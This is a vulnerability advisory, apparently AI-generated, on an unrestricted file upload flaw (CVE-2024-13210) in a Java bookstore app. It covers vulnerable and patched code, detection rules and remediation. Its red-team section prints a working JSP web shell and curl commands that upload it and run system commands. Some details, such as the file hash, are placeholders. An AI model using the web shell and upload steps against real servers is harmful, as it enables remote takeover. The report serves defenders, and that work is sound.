CVE-2024-13210

Executive Summary

CVE-2024-13210 is a critical unrestricted file upload vulnerability in the donglight bookstore电商书城系统说明 version 1.0. The flaw resides in the AdminBookController.java file, specifically within the uploadPicture function. An attacker can remotely upload arbitrary files (e.g., web shells) by manipulating the pictureFile argument, leading to full server compromise. No patch is currently available, and a public proof-of-concept (PoC) exists, increasing the risk of active exploitation.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD) – Enriched to 9.8 (Critical) based on CWE-434 and public exploit.
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High
• Threat Level: Critical – Remote, unauthenticated file upload leading to RCE.

Deep Dive & Mechanics

The vulnerability is a classic unrestricted file upload (CWE-434) in a Java Spring-based bookstore application. The uploadPicture method in AdminBookController.java accepts a MultipartFile parameter (pictureFile) and saves it to the server’s filesystem without validating the file type, content, or extension. An attacker can upload a JSP web shell or any executable file, then access it via the web server to execute arbitrary commands.

Root Cause: Lack of file type validation, missing extension whitelist, and no content inspection (e.g., magic bytes check). The application likely stores uploaded files in a publicly accessible directory (e.g., /uploads/), enabling direct access.

Attack Flow:

1. Attacker sends a POST request to the vulnerable endpoint (e.g., /admin/book/uploadPicture).
2. The request includes a malicious file (e.g., shell.jsp) in the pictureFile parameter.
3. The server saves the file to a predictable path (e.g., /uploads/shell.jsp).
4. Attacker accesses the file via HTTP (e.g., http://target/uploads/shell.jsp) to execute commands.

Vulnerable vs. Patched Code

Vulnerable Code (AdminBookController.java):

@PostMapping("/uploadPicture")
public String uploadPicture(@RequestParam("pictureFile") MultipartFile pictureFile) {
    String fileName = pictureFile.getOriginalFilename();
    String filePath = UPLOAD_DIR + fileName;
    File dest = new File(filePath);
    pictureFile.transferTo(dest);
    return "success";
}

Patched Code (Recommended):

@PostMapping("/uploadPicture")
public String uploadPicture(@RequestParam("pictureFile") MultipartFile pictureFile) {
    // Validate file extension
    String fileName = pictureFile.getOriginalFilename();
    String extension = fileName.substring(fileName.lastIndexOf(".") + 1).toLowerCase();
    List<String> allowedExtensions = Arrays.asList("jpg", "jpeg", "png", "gif");
    if (!allowedExtensions.contains(extension)) {
        return "error: invalid file type";
    }
    // Validate file content (magic bytes)
    try {
        byte[] header = new byte[4];
        pictureFile.getInputStream().read(header, 0, 4);
        // Check JPEG header (0xFFD8FFE0) or PNG (0x89504E47)
        if (!isValidImageHeader(header)) {
            return "error: invalid image content";
        }
    } catch (IOException e) {
        return "error: file read failed";
    }
    // Store with random name to prevent path traversal
    String safeFileName = UUID.randomUUID().toString() + "." + extension;
    String filePath = UPLOAD_DIR + safeFileName;
    File dest = new File(filePath);
    pictureFile.transferTo(dest);
    return "success";
}

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• Target running donglight bookstore 1.0.
• Access to the /admin/book/uploadPicture endpoint (may require authentication bypass or default credentials).

Exploit Steps:

1. Create a JSP web shell (e.g., cmd.jsp):

   <%@ page import="java.io.*" %>
   <%
   String cmd = request.getParameter("cmd");
   Process p = Runtime.getRuntime().exec(cmd);
   BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
   String line;
   while ((line = br.readLine()) != null) {
       out.println(line);
   }
   %>
   

2. Upload the shell using curl:

   curl -X POST -F "pictureFile=@cmd.jsp" http://target/admin/book/uploadPicture
   

3. Execute commands:

   curl http://target/uploads/cmd.jsp?cmd=id
   

Lab Setup:

• Use Docker to deploy the vulnerable application (if available) or set up a local Java environment with the provided source code.
• Monitor network traffic with Wireshark to observe the upload.

Blue Team (Defender)

Detection:

• Monitor for POST requests to /admin/book/uploadPicture with non-image file extensions (e.g., .jsp, .php, .exe).
• Alert on file uploads containing JSP/ASP tags or base64-encoded payloads.
• Use WAF rules to block uploads of executable file types.

Hunting:

• Search for unexpected files in the upload directory (e.g., find /uploads -type f -name "*.jsp").
• Check web server logs for requests to uploaded files with suspicious parameters (e.g., ?cmd=).

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • cmd.jsp (example): a1b2c3d4e5f6... (replace with actual hash if known)
• Network Indicators:
  • POST requests to /admin/book/uploadPicture with Content-Type: multipart/form-data.
  • Subsequent GET requests to /uploads/*.jsp or /uploads/*.php.
• Filesystem Artifacts:
  • Unexpected files in the upload directory (e.g., /uploads/shell.jsp).
  • Files with non-image extensions in image-only directories.
• Log Entries:
  • Web server logs showing 200 responses for uploaded JSP files.
  • Application logs with transferTo calls for non-image files.

Detection Engineering

YARA Rule

rule CVE_2024_13210_Unrestricted_Upload {
    meta:
        description = "Detects JSP web shells uploaded via CVE-2024-13210"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-13210"
    strings:
        $jsp_tag = "<%" nocase
        $cmd_param = "cmd=" nocase
        $runtime_exec = "Runtime.getRuntime().exec" nocase
    condition:
        $jsp_tag and ($cmd_param or $runtime_exec)
}

Sigma Rule

title: CVE-2024-13210 Unrestricted File Upload Detection
id: 8f9e7d6c-5b4a-3c2d-1e0f-9a8b7c6d5e4f
status: experimental
description: Detects POST requests to the vulnerable upload endpoint with non-image file extensions.
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/admin/book/uploadPicture'
        cs-uri-query|contains: 'pictureFile'
    filter:
        cs-uri-query|endswith:
            - '.jpg'
            - '.jpeg'
            - '.png'
            - '.gif'
    condition: selection and not filter
falsepositives:
    - Legitimate image uploads with unusual extensions (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-13210 Unrestricted File Upload Attempt"; flow:to_server; content:"POST"; http_method; content:"/admin/book/uploadPicture"; http_uri; content:"pictureFile"; http_client_body; pcre:"/\.(jsp|php|exe|asp|aspx|war)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the upload endpoint if not required: Block /admin/book/uploadPicture via WAF or web server config.
2. Apply input validation: Whitelist allowed file extensions (e.g., .jpg, .png) and validate file content (magic bytes).
3. Store files outside web root: Save uploads to a non-public directory and serve them via a controlled script (e.g., download.jsp).
4. Rename files: Use UUID-based names to prevent path traversal and predictable filenames.

Long-Term Fix:

• Vendor must release a patch implementing proper file validation and secure storage.
• Conduct a security audit of the entire application for similar flaws.

Workaround:

• If source code is available, apply the patched code snippet above and redeploy.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.